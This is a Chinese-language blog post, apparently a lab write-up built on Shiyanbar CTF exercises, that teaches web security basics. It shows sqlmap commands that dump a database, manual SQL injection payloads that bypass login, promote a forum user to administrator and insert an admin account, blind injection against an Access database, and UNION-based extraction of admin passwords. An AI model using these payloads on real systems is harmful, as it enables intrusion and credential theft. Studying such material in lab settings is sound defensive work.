网络安全—Web安全基础

本博客题库来源于 实验吧


使用Sqlmap进行SQL注入

1. 搭建python2.7的环境

2. 启动Sqlmap 连接URL

`python2 sqlmap.py -u"http://ctf5.shiyanbar.com/8/index.php?id=1"`

网络安全—Web安全基础_第1张图片

在这里查看到了该Web服务的容器是用的Apache 后台使用PHP写的,数据库用的是MYSQL

3. 查看MYSQL中所有的数据库

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –dbs

可以看到有三个数据库

网络安全—Web安全基础_第2张图片

4.查看数据库中的表

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" –D my_db--tables

 

网络安全—Web安全基础_第3张图片

这个数据库中有两张表

5.查看表中的列

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey –columns

网络安全—Web安全基础_第4张图片

可以看到这个表有一列,名字叫做K0y

6.查看表中的行中的详细数据

D:\ustb\NetworkSecurity\sqlmapproject-sqlmap-7d5a0ed>python2sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -Tthiskey -C k0y --dump

 网络安全—Web安全基础_第5张图片

使用AWVS扫描漏洞

1.打开工具,输入要扫描的IP

网络安全—Web安全基础_第6张图片

2.开始扫描

网络安全—Web安全基础_第7张图片

扫描之后发现有SQL注入和CSS跨站攻击的漏洞

3.使用爬虫工具

使用Site Crawler抓取服务器目录下所有的目录结构:

网络安全—Web安全基础_第8张图片

手工SQL注入

1.访问一个有SQL漏洞的站点

网络安全—Web安全基础_第9张图片

2.绕过登录验证

我们想登录必须知道用户名和密码

在后台我们登录的时候,查询的SQL应该这样写:

SELECT user_id, user_type, email FROM users WHEREuser_id = '用户名' AND password = ‘密码’

假如我们提交的表单是admin  和 2’ or 1’

我们查询的SQL就变成了这样:

SELECT user_id, user_type, email FROM users WHEREuser_id = 'admin' AND password = ‘2’ or '1'

要注意由于运算符优先级的问题,我们的SQL被拆成了两个部分:

SELECT user_id, user_type, email FROM usersWHERE user_id = 'admin' AND password = ‘2’) (or '1'

这样不管我们前面的账号密码是什么都被短路了,逻辑恒为真,也就绕过了登录验证,进入了后台

 网络安全—Web安全基础_第10张图片

论坛经典漏洞渗透

1.首先注册一个账号

网络安全—Web安全基础_第11张图片

这里账号密码是 san 123456

2.测试注入点

使用

账号:san’ and ‘a’ = ‘a

密码:1234567

网络安全—Web安全基础_第12张图片

发现登录失败,但是可以发现我们提交的表单已经插入到了查询的SQL中了

4.提升用户权限

之后我们尝试把我们当前用户提升权限。

在用户名提交的表单的地方,插入提升权限的SQL,密码是正确的密码

';update dv_user setusergroupid=1 where username='san'--

网络安全—Web安全基础_第13张图片

这是虽然显示用户不存在,但是我们正常的登录一下

网络安全—Web安全基础_第14张图片

这时候我们就惊讶的发现我们从一个普通用户变为了管理员了

5.添加管理员,登录后台

下面让我们添加一个管理员账号

san';insert into dv_admin(username,password,flag,adduser)values('san','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','san')—

这样我们就在后台创建一个管理员,这个网站就取得了最高权限

 

手工注入Access数据库

1.找到有漏洞的注入点

在url后面添加一个 ’


在url后面添加一个 and 1 = 1

页面正常

网络安全—Web安全基础_第15张图片

在URL后面加入一个 and 1 = 2

网络安全—Web安全基础_第16张图片

经过上面的测试可以发现存在漏洞

2.猜解表名

在url后面添加and exists(select *from admin)

发现页面正常,说明存在这张表

网络安全—Web安全基础_第17张图片

3.猜解列名

在url后面添加and exists(select admin from admin) 和  and exists(select password from admin)

发现页面正常,说明存在这两个列名

4.猜测字段长度

在url后面添加and (select top 1 len (admin) from admin > 1)

如果这时候显示正常,就说明这个数据的长度大于1

然后依次加一,直到页面报错,这时候输入的是5,所以长度就是5

网络安全—Web安全基础_第18张图片

5.猜测字段内容

然后在URL后面添加and (select top 1 asc(mid(admin,1,1)) from admin) > 97

这时候报错,也就是说第一个字符的ASCII码是97 也就是a

6.依次多次操作上面两步,就能猜测出正确的账号和密码

 

联合查询SQL注入

在刚才实验的基础上,我们使用

Order by11 判断字段的数目

Union select1,2,3,4,5,6,7,8,9,10,11 from admin 来判断字段的编号

Union select 1,admin,password,4,5,6,7,8,9,10,11from admin来直接得到管理员的账户和面

 

使用DVWA进行SQL注入

1.Low级别的注入

通过1‘ or ’1’ = ‘1’来遍历数据库当中的元素

网络安全—Web安全基础_第19张图片


你可能感兴趣的:(网络安全)